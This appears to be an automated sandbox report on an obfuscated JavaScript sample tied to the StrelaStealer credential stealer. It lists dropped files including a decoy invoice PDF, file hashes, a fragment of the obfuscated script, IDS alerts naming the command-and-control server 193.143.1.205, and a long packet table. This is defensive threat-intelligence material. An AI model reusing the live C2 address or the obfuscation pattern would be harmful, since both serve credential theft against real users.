SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18072), with CRLF line terminators
Entropy (8bit):	4.912157521250564
TrID:
File name:	4947276292772611217.js
File size:	21'687 bytes
MD5:	6ecb5cd28ea6412d8148fb42933e171b
SHA1:	deeee48c82e3070b2764ee623cc49ea43cc38097
SHA256:	08658be466ae970eddcb997a3c9d1d70ec7f7783626dd503eb1eaad73996c9a3
SHA512:	5fb0f760017ff7eba28f8825b386b5cea6b741b1514557d9241cc8e5a2ac3f99f94f365d9207f87f2e2eb03f290cd7fe49b732433a6de6920b81c6987fee0fb6
SSDEEP:	192:n9CYyM4LXg607yLXGq+iFvw8lMyBxKVGhMPk4QDNpaouRDhTjkoTJ5YXA0nYQpE:9NhuXgoT1+cLBEzk4QDNgouRDhV0DpE
TLSH:	CAA224CC9C85464F4FFD90FC60260CA4239C47DD8B25E5E844E63DE38B1B87AAAD21B1
File Content Preview:	function kwyvfprur(){ypkkxx=[1031,3079,5127,4103,2055,3072];var ytnjbfepl=this[nxkqg+kpobpvd+wfqawpnjz+czzovyeb+frzwkhgu+bkxrt+lqvrjllsg+clevl](this[aftyokuoc+idunwvtb+tjxuwafr+wfqawpnjz+asaveify+nxkqg+clevl][eevuo+wfqawpnjz+frzwkhgu+kpobpvd+clevl+frzwkhg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:29:09.877790+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T01:29:09.877790+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T01:29:12.453397+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:29:09.069154978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.074143887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.074346066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.077713966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.082504034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877701044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877722979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877737999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877783060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877789974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.877799988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877816916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877832890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877835989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.877850056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877863884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.877865076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877882004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.877890110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.877918959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.882702112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.937705040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:09.942516088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.942533970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:09.942620993 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.006278992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006295919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006380081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.006381989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006400108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006417990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006443977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.006812096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006828070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006844997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006855011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.006859064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.006907940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.007323980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.007339954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.007378101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.007648945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.007673025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.007688999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.007690907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.007704973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.007723093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.007728100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.007759094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.008622885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.008640051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.008656025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.008671999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.008682966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.008690119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.008713007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.009414911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.009430885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.009459972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.062730074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.076066971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.076087952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.076157093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.121948004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.121963978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.121979952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.122068882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.134707928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.134731054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.134776115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.134790897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.134803057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.134816885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.134896040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.134912968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.134928942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.134943008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.134969950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.135214090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135231018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135246992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135277033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.135576963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135592937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135611057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135622978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.135627031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135643959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.135652065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.135679960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.136055946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.136071920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.136089087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.136112928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.136174917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.136194944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.136209965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.136225939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.136226892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.136290073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.137007952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137023926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137043953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137058020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.137058973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137074947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137080908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.137089968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137106895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137115955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.137149096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.137835979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137871981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137880087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137887955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137891054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137901068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.137903929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137911081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.137938023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.137969017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.139722109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.162802935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.162810087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.162831068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.162843943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.162923098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.189347982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.208693027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.208712101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.208726883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.208822012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.221405983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221422911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221437931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221515894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.221559048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.221560001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221576929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221592903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221617937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.221842051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221862078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.221885920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.250442028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.250469923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.250540018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.250555992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.250571966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.250572920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.250586033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.250588894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.250648975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.263252020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263267040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263290882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263303041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263365030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.263430119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.263443947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263458014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263514996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.263628960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263653994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263668060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263679028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.263709068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.263932943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263948917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263964891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.263978004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264002085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.264023066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.264242887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264267921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264283895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264333963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.264367104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264391899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264408112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264414072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.264431000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.264451027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.265168905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.265192986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.265208960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.265221119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.265224934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.265239954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.265254974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.265256882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.265270948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.265281916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.265316010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.266071081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.266087055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.266112089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.266127110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.266144037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.266154051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.266159058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.266175032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.266180038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.266211033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.295546055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.295564890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.295588970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.295603991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.295619965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.295633078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.295670033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.295707941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.307089090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.308089972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308105946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308123112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308190107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.308192968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308208942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308224916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308240891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.308243036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308283091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.308437109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308471918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.308484077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.337357044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.337376118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.337392092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.337407112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.337415934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.337476015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.337532043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350039005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350078106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350111008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350122929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350168943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350217104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350218058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350261927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350292921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350297928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350326061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350368023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350385904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350416899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350446939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350454092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350480080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350533009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350553989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350600004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350645065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350657940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350783110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350812912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350819111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350843906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350872993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350886106 CET	49706	80	192.168.2.8	193.143.1.205
